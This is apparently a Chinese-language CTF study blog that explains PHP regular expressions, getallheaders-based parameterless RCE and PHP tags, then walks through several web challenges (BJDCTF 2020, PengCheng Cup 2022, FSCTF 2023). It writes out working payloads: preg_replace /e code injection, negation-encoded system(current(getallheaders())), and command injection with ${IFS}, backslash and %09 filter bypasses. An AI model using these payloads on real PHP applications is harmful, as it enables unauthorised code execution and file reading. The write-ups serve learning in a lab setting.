一,正则匹配
正则匹配是用来搜索,匹配,替换的一种字符串模式,使用正则匹配可以让搜索匹配的语句更加简洁,在php中会使用一些函数来处理正则匹配
常用的语法:
字符类
[abc]
: 匹配单个字符a、b或c[^abc]
: 匹配除了a、b和c之外的任意字符[a-z]
: 匹配任意小写字母[A-Z]
: 匹配任意大写字母[0-9]
: 匹配任意数字
通用原子
.
: 匹配任意字符\d
: 匹配任意数字,等价于[0-9]
\w
: 匹配任意字母、数字或下划线,等价于[a-zA-Z0-9_]
\s
: 匹配任意空白字符,如空格、制表符等- \S: 匹配除了空格符之外
- \W:匹配除了字母,数字,下划线之外
限定符
定位符
^
: 匹配行的开头$
: 匹配行的结尾\b
: 匹配单词边界
[BJDCTF 2020]ZJCTF,不过如此
这题涉及到了preg_replace/e模式绕过,所以我觉得要先了解一下正则匹配才会好理解一些。
preg_replace函数是一个正则的搜索替换函数
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_replace ( 正则表达式,替换,目标字符串,最大替换次数[默认-1],替换次数 )
在/e模式下,第一个位置和第三个位置都是可控的变量,也就是说,正则匹配和目标字符串都能控制
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
当preg_replace匹配到符号正则的字符串时,就会把替换的字符串当做代码执行,但是替换字符串的位置却固定为字符串,这个字符串的含义为\1,所以这里代表访问临时缓冲区中的第一个子匹配项,也就是第一个位置
看看题目,常规的GET传参和php伪协议,值得一说的是file_get_contents是读取文件的函数,所以传入文件的类型才能读取,所以需要用到data://来写入,在用php://filter读取next.php中的信息
text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到base64编码,解码能看到php代码
preg_replace/e模式,id这个传参好像没有用到,这里的思路应该是,看到getFlag(),并且通过它来执行eval命令,所以在上面就应该调用到这个对象。那么就要控制$re,$str,去查了资料,$re这个位置如果想要用.*,匹配任意字符的话,在用\.*做参数传入会被解析为\_*,所以改用\S*匹配(应该是属于利用通配符来匹配,进行任意的匹配来执行函数,访问目标函数)
\S*=${getFlag()}
getFlag(),就是缓冲区中的第一个位置,就访问了getFlag,经过foreach遍历数组,\s*=>getFlag,这样就调用了getFlag
cmd=phpinfo();
这题我看有些wp,在其他平台的flag可以再flag里面查看,但是NSSCTF的是空的,在phpinfo里面
所以我就写phpinfo
二,RCE(getallheaders(),无参数)
getallheaders()
获取当前请求的所有请求头信息。(该函数不需要参数,因为是获取请求头信息,所以在请求头上进行命令的执行)
返回值:array(返回二维数组)
<?php
foreach (getallheaders() as $name => $value) {
echo "$name: $value";
}
?>
无参数RCE的一些函数,一般是搭配使用
[鹏城杯 2022]简单的php
看题,参数长度小于等于80,并且过滤了字母数字,属于无字母了,取反绕过
else if里面的‘;’,说明进行没有参数传参来进行preg_replace函数
payload
code=system(current(getallheaders()))
进行取反,在二维数组拼接时要用[!%FF]
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'current');
echo "\n";
echo urlencode(~'getallheaders');
?>
在请求头执行ls等语句查询目录
最后加转义符绕过(这里的绕过是发现cat不了flag,所以尝试出来的),拿到flag
[FSCTF 2023]细狗2.0
记录这题是为了记录,在没有回显时,不一定就是使用tee命令,有些可以通过其他的位置来达到回显的目的
看题目,正常输入个1试试水,看看什么情况
进入传参后的页面,一开始认为在"1"这个位置进行命令执行,但是发现怎样都拿不到信息
然后去看了wp,后面的“洗洗睡吧”,这个位置是在命令执行之后显示的,所以可以在这个位置进行命令执行,来拿到信息
存在一个空格绕过,而且我用system执行不了
1;ls${IFS}/
cat和flag也是被过滤了
1;c\at${IFS}/f\lag
三,php标签
php标签用于包裹,嵌入PHP代码。在标签中的代码会被服务器解析为PHP代码,并在服务器端执行。这个标签可以用于任何PHP代码,包括变量声明、函数定义、逻辑判断、循环等等。
常见的标签有
<?php echo "hellow";?>
<?php echo "hellow"; //省略?>
<? echo "hellow";?>
<?= phpinfo();?> //<?=相当于echo的用法(在最近的考核中也是涉及到了)
<script language="php"> echo "hellow"; </script>
[FSCTF 2023]EZ_eval
先看源码
为什么会想到用<?php>的形式呢,是因为在eval函数中在末尾拼接了?>,所以觉得应该用php标签
正则过滤了一些命令,不过可以用转义符来绕过,还存在空格过滤,用%09;之后的字符替换中把?用空格替换了,也就导致php标签要选用长标签,长标签中不存在?
word=<script%09language="php">system('ls%09/');
<script%09language="php">system('c\at%09/fl\ag');